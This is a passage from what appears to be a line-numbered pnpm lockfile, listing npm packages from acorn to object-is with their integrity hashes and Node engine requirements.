acorn@8.8.2: 173 | resolution: {integrity: sha512-xjIYgE8HBrkpd/sJqOGNspf8uHG+NOHGOw6a/Urj8taM2EXfdNAH2oFcPeIFfsv3+kz/mJrS5VuMqbNLjCa2vw==} 174 | engines: {node: '>=0.4.0'} 175 | hasBin: true 176 | 177 | ajv-keywords@3.5.2: 178 | resolution: {integrity: sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==} 179 | peerDependencies: 180 | ajv: ^6.9.1 181 | 182 | ajv@6.12.6: 183 | resolution: {integrity: sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==} 184 | 185 | amdefine@1.0.1: 186 | resolution: {integrity: sha512-S2Hw0TtNkMJhIabBwIojKL9YHO5T0n5eNqWJ7Lrlel/zDbftQpxpapi8tZs3X1HWa+u+QeydGmzzNU0m09+Rcg==} 187 | engines: {node: '>=0.4.2'} 188 | 189 | ansi-styles@4.3.0: 190 | resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} 191 | engines: {node: '>=8'} 192 | 193 | array-differ@3.0.0: 194 | resolution: {integrity: sha512-THtfYS6KtME/yIAhKjZ2ul7XI96lQGHRputJQHO80LAWQnuGP4iCIN8vdMRboGbIEYBwU33q8Tch1os2+X0kMg==} 195 | engines: {node: '>=8'} 196 | 197 | array-union@2.1.0: 198 | resolution: {integrity: sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==} 199 | engines: {node: '>=8'} 200 | 201 | arrify@2.0.1: 202 | resolution: {integrity: sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug==} 203 | engines: {node: '>=8'} 204 | 205 | assert@2.0.0: 206 | resolution: {integrity: sha512-se5Cd+js9dXJnu6Ag2JFc00t+HmHOen+8Q+L7O9zI0PqQXr20uk2J0XQqMxZEeo5U50o8Nvmmx7dZrl+Ufr35A==} 207 | 208 | available-typed-arrays@1.0.7: 209 | resolution: {integrity: sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==} 210 | engines: {node: '>= 0.4'} 211 | 212 | balanced-match@1.0.2: 213 | resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} 214 | 215 | big.js@5.2.2: 216 | resolution: {integrity: sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==} 217 | 218 | brace-expansion@1.1.11: 219 | resolution: {integrity: sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==} 220 | 221 | braces@3.0.3: 222 | resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} 223 | engines: {node: '>=8'} 224 | 225 | browserslist@4.24.0: 226 | resolution: {integrity: sha512-Rmb62sR1Zpjql25eSanFGEhAxcFwfA1K0GuQcLoaJBAcENegrQut3hYdhXFF1obQfiDyqIW/cLM5HSJ/9k884A==} 227 | engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} 228 | hasBin: true 229 | 230 | buffer-from@1.1.2: 231 | resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==} 232 | 233 | call-bind@1.0.7: 234 | resolution: {integrity: sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==} 235 | engines: {node: '>= 0.4'} 236 | 237 | caniuse-lite@1.0.30001664: 238 | resolution: {integrity: sha512-AmE7k4dXiNKQipgn7a2xg558IRqPN3jMQY/rOsbxDhrd0tyChwbITBfiwtnqz8bi2M5mIWbxAYBvk7W7QBUS2g==} 239 | 240 | chalk@4.1.2: 241 | resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} 242 | engines: {node: '>=10'} 243 | 244 | chance@1.1.9: 245 | resolution: {integrity: sha512-TfxnA/DcZXRTA4OekA2zL9GH8qscbbl6X0ZqU4tXhGveVY/mXWvEQLt5GwZcYXTEyEFflVtj+pG8nc8EwSm1RQ==} 246 | 247 | char-regex@1.0.2: 248 | resolution: {integrity: sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==} 249 | engines: {node: '>=10'} 250 | 251 | charenc@0.0.2: 252 | resolution: {integrity: sha512-yrLQ/yVUFXkzg7EDQsPieE/53+0RlaWTs+wBrvW36cyilJ2SaDWfl4Yj7MtLTXleV9uEKefbAGUPv2/iWSooRA==} 253 | 254 | chrome-trace-event@1.0.4: 255 | resolution: {integrity: sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==} 256 | engines: {node: '>=6.0'} 257 | 258 | class-validator@0.14.1: 259 | resolution: {integrity: sha512-2VEG9JICxIqTpoK1eMzZqaV+u/EiwEJkMGzTrZf6sU/fwsnOITVgYJ8yojSy6CaXtO9V0Cc6ZQZ8h8m4UBuLwQ==} 260 | 261 | clone-deep@4.0.1: 262 | resolution: {integrity: sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==} 263 | engines: {node: '>=6'} 264 | 265 | color-convert@2.0.1: 266 | resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} 267 | engines: {node: '>=7.0.0'} 268 | 269 | color-name@1.1.4: 270 | resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} 271 | 272 | colorette@2.0.20: 273 | resolution: {integrity: sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==} 274 | 275 | commander@10.0.0: 276 | resolution: {integrity: sha512-zS5PnTI22FIRM6ylNW8G4Ap0IEOyk62fhLSD0+uHRT9McRCLGpkVNvao4bjimpK/GShynyQkFFxHhwMcETmduA==} 277 | engines: {node: '>=14'} 278 | 279 | commander@10.0.1: 280 | resolution: {integrity: sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug==} 281 | engines: {node: '>=14'} 282 | 283 | commander@2.20.3: 284 | resolution: {integrity: sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==} 285 | 286 | concat-map@0.0.1: 287 | resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} 288 | 289 | cross-spawn@7.0.3: 290 | resolution: {integrity: sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==} 291 | engines: {node: '>= 8'} 292 | 293 | crypt@0.0.2: 294 | resolution: {integrity: sha512-mCxBlsHFYh9C+HVpiEacem8FEBnMXgU9gy4zmNC+SXAZNB/1idgp/aulFJ4FgCi7GPEVbfyng092GqL2k2rmow==} 295 | 296 | deep-is@0.1.4: 297 | resolution: {integrity: sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==} 298 | 299 | define-data-property@1.1.4: 300 | resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==} 301 | engines: {node: '>= 0.4'} 302 | 303 | define-properties@1.2.1: 304 | resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==} 305 | engines: {node: '>= 0.4'} 306 | 307 | electron-to-chromium@1.5.29: 308 | resolution: {integrity: sha512-PF8n2AlIhCKXQ+gTpiJi0VhcHDb69kYX4MtCiivctc2QD3XuNZ/XIOlbGzt7WAjjEev0TtaH6Cu3arZExm5DOw==} 309 | 310 | emojis-list@3.0.0: 311 | resolution: {integrity: sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==} 312 | engines: {node: '>= 4'} 313 | 314 | enhanced-resolve@5.17.1: 315 | resolution: {integrity: sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==} 316 | engines: {node: '>=10.13.0'} 317 | 318 | envinfo@7.14.0: 319 | resolution: {integrity: sha512-CO40UI41xDQzhLB1hWyqUKgFhs250pNcGbyGKe1l/e4FSaI/+YE4IMG76GDt0In67WLPACIITC+sOi08x4wIvg==} 320 | engines: {node: '>=4'} 321 | hasBin: true 322 | 323 | es-define-property@1.0.0: 324 | resolution: {integrity: sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==} 325 | engines: {node: '>= 0.4'} 326 | 327 | es-errors@1.3.0: 328 | resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} 329 | engines: {node: '>= 0.4'} 330 | 331 | es-module-lexer@1.5.4: 332 | resolution: {integrity: sha512-MVNK56NiMrOwitFB7cqDwq0CQutbw+0BvLshJSse0MUNU+y1FC3bUS/AQg7oUng+/wKrrki7JfmwtVHkVfPLlw==} 333 | 334 | es6-object-assign@1.1.0: 335 | resolution: {integrity: sha512-MEl9uirslVwqQU369iHNWZXsI8yaZYGg/D65aOgZkeyFJwHYSxilf7rQzXKI7DdDuBPrBXbfk3sl9hJhmd5AUw==} 336 | 337 | escalade@3.2.0: 338 | resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==} 339 | engines: {node: '>=6'} 340 | 341 | eslint-scope@5.1.1: 342 | resolution: {integrity: sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==} 343 | engines: {node: '>=8.0.0'} 344 | 345 | eslint-scope@7.1.1: 346 | resolution: {integrity: sha512-QKQM/UXpIiHcLqJ5AOyIW7XZmzjkzQXYE54n1++wb0u9V/abW3l9uQnxX8Z5Xd18xyKIMTUAyQ0k1e8pz6LUrw==} 347 | engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} 348 | 349 | eslint-visitor-keys@3.3.0: 350 | resolution: {integrity: sha512-mQ+suqKJVyeuwGYHAdjMFqjCyfl8+Ldnxuyp3ldiMBFKkvytrXUZWaiPCEav8qDHKty44bD+qV1IP4T+w+xXRA==} 351 | engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} 352 | 353 | esprima@4.0.1: 354 | resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==} 355 | engines: {node: '>=4'} 356 | hasBin: true 357 | 358 | esrecurse@4.3.0: 359 | resolution: {integrity: sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==} 360 | engines: {node: '>=4.0'} 361 | 362 | estraverse@4.3.0: 363 | resolution: {integrity: sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==} 364 | engines: {node: '>=4.0'} 365 | 366 | estraverse@5.3.0: 367 | resolution: {integrity: sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==} 368 | engines: {node: '>=4.0'} 369 | 370 | esutils@2.0.3: 371 | resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} 372 | engines: {node: '>=0.10.0'} 373 | 374 | events@3.3.0: 375 | resolution: {integrity: sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==} 376 | engines: {node: '>=0.8.x'} 377 | 378 | fast-deep-equal@3.1.3: 379 | resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} 380 | 381 | fast-json-stable-stringify@2.1.0: 382 | resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} 383 | 384 | fast-levenshtein@2.0.6: 385 | resolution: {integrity: sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==} 386 | 387 | fastest-levenshtein@1.0.16: 388 | resolution: {integrity: sha512-eRnCtTTtGZFpQCwhJiUOuxPQWRXVKYDn0b2PeHfXL6/Zi53SLAzAHfVhVWK2AryC/WH05kGfxhFIPvTF0SXQzg==} 389 | engines: {node: '>= 4.9.1'} 390 | 391 | fill-range@7.1.1: 392 | resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} 393 | engines: {node: '>=8'} 394 | 395 | find-up@4.1.0: 396 | resolution: {integrity: sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==} 397 | engines: {node: '>=8'} 398 | 399 | flat@5.0.2: 400 | resolution: {integrity: sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==} 401 | hasBin: true 402 | 403 | for-each@0.3.3: 404 | resolution: {integrity: sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==} 405 | 406 | function-bind@1.1.2: 407 | resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} 408 | 409 | get-intrinsic@1.2.4: 410 | resolution: {integrity: sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==} 411 | engines: {node: '>= 0.4'} 412 | 413 | glob-to-regexp@0.4.1: 414 | resolution: {integrity: sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==} 415 | 416 | gopd@1.0.1: 417 | resolution: {integrity: sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==} 418 | 419 | graceful-fs@4.2.11: 420 | resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} 421 | 422 | has-flag@4.0.0: 423 | resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} 424 | engines: {node: '>=8'} 425 | 426 | has-property-descriptors@1.0.2: 427 | resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==} 428 | 429 | has-proto@1.0.3: 430 | resolution: {integrity: sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==} 431 | engines: {node: '>= 0.4'} 432 | 433 | has-symbols@1.0.3: 434 | resolution: {integrity: sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==} 435 | engines: {node: '>= 0.4'} 436 | 437 | has-tostringtag@1.0.2: 438 | resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==} 439 | engines: {node: '>= 0.4'} 440 | 441 | hasown@2.0.2: 442 | resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==} 443 | engines: {node: '>= 0.4'} 444 | 445 | import-local@3.2.0: 446 | resolution: {integrity: sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA==} 447 | engines: {node: '>=8'} 448 | hasBin: true 449 | 450 | inherits@2.0.3: 451 | resolution: {integrity: sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==} 452 | 453 | interpret@3.1.1: 454 | resolution: {integrity: sha512-6xwYfHbajpoF0xLW+iwLkhwgvLoZDfjYfoFNu8ftMoXINzwuymNLd9u/KmwtdT2GbR+/Cz66otEGEVVUHX9QLQ==} 455 | engines: {node: '>=10.13.0'} 456 | 457 | inversify@6.0.1: 458 | resolution: {integrity: sha512-B3ex30927698TJENHR++8FfEaJGqoWOgI6ZY5Ht/nLUsFCwHn6akbwtnUAPCgUepAnTpe2qHxhDNjoKLyz6rgQ==} 459 | 460 | is-arguments@1.1.1: 461 | resolution: {integrity: sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==} 462 | engines: {node: '>= 0.4'} 463 | 464 | is-buffer@1.1.6: 465 | resolution: {integrity: sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==} 466 | 467 | is-callable@1.2.7: 468 | resolution: {integrity: sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==} 469 | engines: {node: '>= 0.4'} 470 | 471 | is-core-module@2.15.1: 472 | resolution: {integrity: sha512-z0vtXSwucUJtANQWldhbtbt7BnL0vxiFjIdDLAatwhDYty2bad6s+rijD6Ri4YuYJubLzIJLUidCh09e1djEVQ==} 473 | engines: {node: '>= 0.4'} 474 | 475 | is-generator-function@1.0.10: 476 | resolution: {integrity: sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==} 477 | engines: {node: '>= 0.4'} 478 | 479 | is-nan@1.3.2: 480 | resolution: {integrity: sha512-E+zBKpQ2t6MEo1VsonYmluk9NxGrbzpeeLC2xIViuO2EjU2xsXsBPwTr3Ykv9l08UYEVEdWeRZNouaZqF6RN0w==} 481 | engines: {node: '>= 0.4'} 482 | 483 | is-number@7.0.0: 484 | resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} 485 | engines: {node: '>=0.12.0'} 486 | 487 | is-plain-object@2.0.4: 488 | resolution: {integrity: sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==} 489 | engines: {node: '>=0.10.0'} 490 | 491 | is-typed-array@1.1.13: 492 | resolution: {integrity: sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw==} 493 | engines: {node: '>= 0.4'} 494 | 495 | isexe@2.0.0: 496 | resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} 497 | 498 | isobject@3.0.1: 499 | resolution: {integrity: sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==} 500 | engines: {node: '>=0.10.0'} 501 | 502 | javascript-obfuscator@4.1.1: 503 | resolution: {integrity: sha512-gt+KZpIIrrxXHEQGD8xZrL8mTRwRY0U76/xz/YX0gZdPrSqQhT/c7dYLASlLlecT3r+FxE7je/+C0oLnTDCx4A==} 504 | engines: {node: '>=12.22.0'} 505 | hasBin: true 506 | 507 | jest-worker@27.5.1: 508 | resolution: {integrity: sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==} 509 | engines: {node: '>= 10.13.0'} 510 | 511 | js-string-escape@1.0.1: 512 | resolution: {integrity: sha512-Smw4xcfIQ5LVjAOuJCvN/zIodzA/BBSsluuoSykP+lUvScIi4U6RJLfwHet5cxFnCswUjISV8oAXaqaJDY3chg==} 513 | engines: {node: '>= 0.8'} 514 | 515 | json-parse-even-better-errors@2.3.1: 516 | resolution: {integrity: sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==} 517 | 518 | json-schema-traverse@0.4.1: 519 | resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==} 520 | 521 | json5@2.2.3: 522 | resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==} 523 | engines: {node: '>=6'} 524 | hasBin: true 525 | 526 | kind-of@6.0.3: 527 | resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==} 528 | engines: {node: '>=0.10.0'} 529 | 530 | levn@0.3.0: 531 | resolution: {integrity: sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==} 532 | engines: {node: '>= 0.8.0'} 533 | 534 | libphonenumber-js@1.11.9: 535 | resolution: {integrity: sha512-Zs5wf5HaWzW2/inlupe2tstl0I/Tbqo7lH20ZLr6Is58u7Dz2n+gRFGNlj9/gWxFvNfp9+YyDsiegjNhdixB9A==} 536 | 537 | loader-runner@4.3.0: 538 | resolution: {integrity: sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==} 539 | engines: {node: '>=6.11.5'} 540 | 541 | loader-utils@2.0.4: 542 | resolution: {integrity: sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==} 543 | engines: {node: '>=8.9.0'} 544 | 545 | locate-path@5.0.0: 546 | resolution: {integrity: sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==} 547 | engines: {node: '>=8'} 548 | 549 | md5@2.3.0: 550 | resolution: {integrity: sha512-T1GITYmFaKuO91vxyoQMFETst+O71VUPEU3ze5GNzDm0OWdP8v1ziTaAEPUr/3kLsY3Sftgz242A1SetQiDL7g==} 551 | 552 | merge-stream@2.0.0: 553 | resolution: {integrity: sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==} 554 | 555 | micromatch@4.0.8: 556 | resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} 557 | engines: {node: '>=8.6'} 558 | 559 | mime-db@1.52.0: 560 | resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} 561 | engines: {node: '>= 0.6'} 562 | 563 | mime-types@2.1.35: 564 | resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==} 565 | engines: {node: '>= 0.6'} 566 | 567 | minimatch@3.1.2: 568 | resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} 569 | 570 | mkdirp@2.1.3: 571 | resolution: {integrity: sha512-sjAkg21peAG9HS+Dkx7hlG9Ztx7HLeKnvB3NQRcu/mltCVmvkF0pisbiTSfDVYTT86XEfZrTUosLdZLStquZUw==} 572 | engines: {node: '>=10'} 573 | hasBin: true 574 | 575 | multi-stage-sourcemap@0.3.1: 576 | resolution: {integrity: sha512-UiTLYjqeIoVnJHyWGskwMKIhtZKK9uXUjSTWuwatarrc0d2H/6MAVFdwvEA/aKOHamIn7z4tfvxjz+FYucFpNQ==} 577 | 578 | multimatch@5.0.0: 579 | resolution: {integrity: sha512-ypMKuglUrZUD99Tk2bUQ+xNQj43lPEfAeX2o9cTteAmShXy2VHDJpuwu1o0xqoKCt9jLVAvwyFKdLTPXKAfJyA==} 580 | engines: {node: '>=10'} 581 | 582 | neo-async@2.6.2: 583 | resolution: {integrity: sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==} 584 | 585 | node-releases@2.0.18: 586 | resolution: {integrity: sha512-d9VeXT4SJ7ZeOqGX6R5EM022wpL+eWPooLI+5UpWn2jCT1aosUQEhQP214x33Wkwx3JQMvIm+tIoVOdodFS40g==} 587 | 588 | object-is@1.1.6: 589 | resolution: {integrity: 